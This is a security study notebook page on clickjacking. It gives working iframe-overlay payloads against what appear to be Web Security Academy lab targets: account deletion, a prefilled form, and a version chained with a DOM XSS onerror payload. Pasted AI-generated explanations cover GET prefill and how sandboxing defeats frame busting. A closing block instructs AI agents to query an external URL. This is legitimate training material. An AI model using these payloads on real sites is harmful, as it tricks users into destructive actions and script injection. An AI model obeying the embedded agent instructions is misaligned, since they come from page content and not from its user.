# Clickjacking Attacks

Payload

```html
// Some code
 <style>
    #target_website{
	position:relative;
        width: 700px;
        height: 500px;
        opacity: 0.000001;
        z-index: 2;
			  }
       #click {
         position:absolute;
        top: 425px;
        left: 80px;
        z-index: 1;
			}
			
	    </style>

    <div id="decoy_website">
	      <button id="click">click</buttonn>
	  </div>
	
	
	  <iframe id="target_website" src="https://0ab200a6037c68df80078f68006a00a3.web-security-academy.net/my-account#delete-account-form">
	  
	  </iframe>
  
```

### Clickjacking with prefilled form input <a href="#clickjacking-with-prefilled-form-input" id="clickjacking-with-prefilled-form-input"></a>

#### Explain this with example: "Some websites that require form completion and submission permit prepopulation of form inputs using GET parameters prior to submission. Other websites might require text before form submission."

The statement explains how websites handle form submissions, particularly the use of GET parameters and the necessity for text input before submitting a form. Let's break it down with examples.

#### 1. **Prepopulation of Form Inputs using GET Parameters:**

When a website allows prepopulation of form fields using GET parameters, it means the values in certain form fields can be automatically filled in based on information provided in the URL. GET parameters are passed in the URL after a `?`, and they can prefill form inputs when the user arrives at the page.

**Example:**

Imagine a website where you sign up for an event, and it asks for your name, email, and phone number.

* **URL with GET Parameters:**

  ```
  perlCopyEdithttps://example.com/signup?name=JohnDoe&email=john@example.com
  ```
* **Form on the webpage:**

  ```
  markdownCopyEditName: [__________]
  Email: [__________]
  Phone: [__________]
  ```

When you visit the URL above, the website’s form will automatically fill the name and email fields with the values `JohnDoe` and `john@example.com`, respectively. This is because the GET parameters `name=JohnDoe` and `email=john@example.com` are passed in the URL.

This is useful for returning users, where you can prefill their information for a smoother user experience. They can just review and submit without needing to enter all the details again.

#### 2. **Requirement for Text Before Form Submission:**

Some websites may require the user to type in some custom text or input into a form field before submission. This is a more typical situation where the user must manually fill in the fields.

**Example:**

Imagine a contact form that asks for feedback or a message to be sent to the website owner.

* **Form on the webpage:**

  ```
  markdownCopyEditName: [__________]
  Email: [__________]
  Message: [Type your message here...]
  ```

In this case, you cannot prepopulate the **Message** field with GET parameters because the message is specific to each submission. The user must type something into the **Message** field before clicking the submit button. It could be a custom message like:

* "I want to inquire about the event schedule."

Some websites may enforce a requirement that the **Message** field cannot be empty, requiring the user to type something in order to submit the form.

#### In summary:

* **Prepopulation using GET parameters**: Automatically fills in form fields based on the URL (e.g., `?name=JohnDoe&email=john@example.com`).
* **Text requirement before submission**: The user must manually enter custom content into a form field (e.g., a message in a contact form) before submitting the form.<br>

#### This behaviour is nor by default, this needs to be handled explicitly?

Yes, **this behavior is not automatic** and needs to be **explicitly handled** in the server-side code. Web forms do not automatically prepopulate their fields based on the URL or GET parameters by default.

The server has to **read the GET parameters** (e.g., `?name=JohnDoe&email=john@example.com`), check if they exist, and then inject them into the form fields when rendering the page. If the GET parameters are not present, the server should leave the fields **empty** or set them to default values.

#### Why it Needs to Be Handled Explicitly:

1. **Forms Are Stateless**: A web form is just an HTML template. It doesn't automatically "know" anything about the URL parameters unless you programmatically tell it to.
2. **No Automatic Binding**: The form input fields don’t have any inherent logic to bind them to URL query parameters unless specified in the server-side code.
3. **Security and Flexibility**: Allowing explicit handling of GET parameters gives developers control over what values can be pre-populated, providing flexibility and ensuring that inputs are validated before being used. This also allows for security measures to prevent malicious input, such as cross-site scripting (XSS).

#### How to Handle It (Summary):

* **Extract GET parameters**: When a user accesses the page, the server reads the query string (e.g., `?name=JohnDoe&email=john@example.com`).
* **Populate the form fields**: The server will inject the values of these parameters into the form fields when rendering the HTML page.
* **Fallback to empty values**: If the parameters are missing, you set the form fields to default values or leave them empty.

This is why you need to explicitly write code to handle GET parameters, check if they are set, and then use them to prepopulate the form or leave it empty.

<pre class="language-html"><code class="lang-html">// Some code

 &#x3C;style>
    #target_website{
	position:relative;
        width: 700px;
        height: 500px;
        opacity: 0.00001;
        z-index: 2;
			  }
       #click {
         position:absolute;
        top: 435px;
        left: 80px;
        z-index: 1;
			}
			
	    &#x3C;/style>

    &#x3C;div id="decoy_website">
	      &#x3C;button id="click">Click me&#x3C;/button>
	  &#x3C;/div>
	
	
	  &#x3C;iframe id="target_website" src="https://0ae6000f0432bf5280fa12cf00fa00cd.web-security-academy.net
		/my-account<a data-footnote-ref href="#user-content-fn-1">?email=sample23%40gmail.com</a>">
	  
	  &#x3C;/iframe>
  
</code></pre>

### Frame busting scripts <a href="#frame-busting-scripts" id="frame-busting-scripts"></a>

Explain toplevel navigation in detail: "\<iframe id="victim\_website" src="<https://victim-website.com>" sandbox="allow-forms">\</iframe> Both the allow-forms and allow-scripts values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviors while allowing functionality within the targeted site."Thought for 49 seconds

Okay, let's try to break down the user's question about top-level navigation in the context of the provided iframe example. So the user included an iframe with a sandbox attribute that has allow-forms, and they mentioned that both allow-forms and allow-scripts permit certain actions but disable top-level navigation. They want a detailed explanation of how top-level navigation is disabled here and how it affects frame busting.

First, I need to recall what the sandbox attribute does in an iframe. The sandbox attribute restricts what the content inside the iframe can do. By default, when you use sandbox without any values, it imposes a bunch of restrictions like preventing scripts, forms, same-origin requests, etc. But when you add specific allow-\* flags, you lift some of those restrictions.

In this case, the iframe has sandbox="allow-forms". So that means forms are allowed, but other restrictions are still in place. The user also mentions allow-scripts, but that's not present here. Wait, the quote says both allow-forms and allow-scripts permit actions but disable top-level navigation. So maybe even if you allow certain things, top-level nav is blocked unless explicitly allowed.

Top-level navigation refers to the ability of the content inside the iframe to navigate the entire page (the parent window) to a different URL. For example, if the iframe content has a script that does window\.top.location = "<http://some-site.com>", that would navigate the whole page. But if top-level navigation is blocked, that script won't work.

Frame busting is a technique used by websites to prevent being loaded inside an iframe, often to avoid clickjacking attacks. Common frame busting scripts check if the current window is the top window and if not, try to break out by redirecting the top window to itself. So, if the sandbox disables top-level navigation, those frame busting scripts that rely on changing the top window's location would fail.

So putting it all together: when you have an iframe with sandbox="allow-forms", even though forms are allowed, the default sandbox restrictions still block scripts (unless allow-scripts is added). But even if allow-scripts is added, the sandbox by default blocks top-level navigation. Therefore, unless the sandbox includes allow-top-navigation, the iframe can't navigate the parent window. This would prevent frame busting because those scripts can't redirect the top window.

Wait, but in the example given, the sandbox only has allow-forms. So scripts are blocked. So frame busting scripts that use JavaScript wouldn't run anyway. So maybe even if allow-scripts was added, top-level nav is still blocked unless allow-top-navigation is also added. So the key point is that the sandbox attribute, unless it has allow-top-navigation, will block any attempts by the iframe content to navigate the parent.

Therefore, the original statement is saying that even though allow-forms or allow-scripts are enabled (which allow forms and scripts respectively), the default sandbox behavior still blocks top-level navigation. So even if the site inside the iframe has frame busting scripts, those scripts would either not run (if allow-scripts isn't present) or if they do run (if allow-scripts is present), the attempt to navigate the top-level would be blocked because allow-top-navigation isn't allowed.

Therefore, by using the sandbox attribute with allow-forms (or even allow-scripts), the site owner can allow certain functionalities within the iframe while preventing the embedded content from breaking out of the frame, thus inhibiting frame busting.

I need to verify this. Let's check the sandbox flags. The default sandbox includes:

\- Block form submission

\- Block scripts

\- Block APIs like pointer lock, etc.

\- Block same-origin access (treat as unique origin)

\- Block top-level navigation

When you add allow-forms, you allow form submission. Adding allow-scripts allows scripts, but the other restrictions, including blocking top-level navigation, remain unless you add allow-top-navigation. So even with allow-scripts, the script can't perform top-level navigation unless that flag is set. Therefore, the frame busting scripts, which often use window\.top.location, would fail because they can't navigate the top.

Therefore, the key point is that the sandbox attribute, by default, blocks top-level navigation unless allow-top-navigation is explicitly added. So in the example given, since allow-forms is present but not allow-top-navigation, any attempts by the iframe to navigate the parent window are blocked. This stops frame busting, which relies on such navigation.

So the explanation should cover:

\- What the sandbox attribute does

\- The specific allow-forms and allow-scripts flags

\- What top-level navigation is

\- How frame busting works

\- Why the sandbox settings block top-level navigation even when allowing forms or scripts

\- The implications for security (preventing clickjacking vs allowing functionality)

The provided `<iframe>` uses the `sandbox` attribute with `allow-forms`, which enables specific functionalities while restricting others. Here's a detailed breakdown of how this configuration impacts **top-level navigation** and **frame-busting**:

***

#### 1. **Sandbox Attribute Basics**

The `sandbox` attribute imposes security restrictions on content loaded inside an `<iframe>`. By default, it:

* Blocks scripts, forms, popups, and APIs.
* Treats the content as having a unique origin (blocks same-origin access).
* **Blocks top-level navigation** (preventing the embedded content from modifying the parent window's URL).

Adding `allow-*` flags lifts specific restrictions while leaving others in place.

***

#### 2. **`allow-forms` and `allow-scripts`**

* **`allow-forms`**: Permits form submissions within the iframe.
* **`allow-scripts`**: Allows JavaScript execution (if included).

**However**, neither flag enables **top-level navigation**. For example:

* Even if `allow-scripts` is added, scripts in the iframe **cannot** run `window.top.location = "..."` to navigate the parent page.
* The sandbox **implicitly blocks** this behavior unless `allow-top-navigation` is explicitly added.

***

#### 3. **Top-Level Navigation**

* **What is it?**\
  Top-level navigation refers to the ability of content inside the iframe to change the URL of the **parent window** (e.g., redirecting the entire page to `https://attacker.com`).
* **Why is it blocked?**\
  Allowing this would let malicious actors hijack the parent page (e.g., phishing, clickjacking). The sandbox blocks it by default.

***

#### 4. **Impact on Frame Busting**

* **What is frame busting?**\
  A technique used by websites to prevent being embedded in an iframe. Example script:

  javascriptCopy

  ```
  if (window !== window.top) {
    window.top.location = window.location; // Bust out of the frame
  }
  ```
* **Why does the sandbox block it?**\
  With `sandbox="allow-forms"` (or even `allow-scripts`):

  * If `allow-scripts` is **absent**, frame-busting scripts won’t execute.
  * If `allow-scripts` is **present**, scripts run but `window.top.location` is blocked (due to missing `allow-top-navigation`).

  This neutralizes frame-busting attempts, forcing the site to remain in the iframe.

***

#### 5. **Security vs. Functionality Trade-Off**

* **Pros**: Allows limited functionality (e.g., forms, scripts) while preventing the iframe from affecting the parent page.
* **Cons**: Inhibits the embedded site’s ability to protect itself via frame busting, which could enable clickjacking if other protections (e.g., `X-Frame-Options`) are missing.

***

#### 6. **Example Breakdown**

htmlCopy

```
<iframe 
  id="victim_website" 
  src="https://victim-website.com" 
  sandbox="allow-forms"
>
</iframe>
```

Run HTML

* **Allowed**: Form submissions inside the iframe.
* **Blocked**: Scripts, same-origin access, plugins, and **top-level navigation**.
* **Result**: The victim site can’t bust out of the iframe, even if it has frame-busting code.

***

#### 7. **Key Sandbox Flags for Navigation**

To explicitly control navigation:

* `allow-top-navigation`: Lets the iframe navigate the parent window.
* `allow-popups`: Allows popups (e.g., `window.open()`).
* `allow-same-origin`: Grants same-origin privileges (risky if combined with `allow-scripts`).

***

#### 8. **Best Practices**

* Use `X-Frame-Options` or `Content-Security-Policy` headers on the embedded site to control framing.
* Only enable necessary sandbox flags (e.g., avoid `allow-scripts` unless required).
* Avoid `allow-top-navigation` unless you explicitly trust the embedded content.

***

By using `sandbox="allow-forms"`, you balance functionality (allowing forms) with security (blocking top-level navigation and scripts). This configuration is useful for embedding third-party content safely but requires careful consideration of trust and additional protections.

```
// Some code
<iframe id="victim_website" src="https://victim-website.com" 
sandbox="allow-forms"></iframe>
```

### Combining clickjacking with a DOM XSS attack <a href="#combining-clickjacking-with-a-dom-xss-attack" id="combining-clickjacking-with-a-dom-xss-attack"></a>

```
// Some code
    <style>
        #target {
            position: relative;
            width: 900px;
            height: 850px;
            opacity: 0.00001;
            z-index: 2;
        }
        #click {
            position: absolute;
            top: 760px;
            left: 65px;
            z-index: 1;
        }
    </style>

    <div id="decoy_website">
        <button id="click">Click me</button>
    </div>
    
    <iframe id="target"  src="https://0a3a00090445087e8048a802002e0031.web-security-academy.net/feedback?name=%3cimg%20src%3d1%20onerror%3d%27print()%27%2f%3e&email=samle@gmail.com&subject=lkl;l&message=lkjk#feedbackForm"></iframe>

```

[^1]: This GET param is  getting prefilled in form therefore which made it possible for us to do clickjacking attack.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/web-vulnerabilities/client-side-vulnerabilties/clickjacking-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.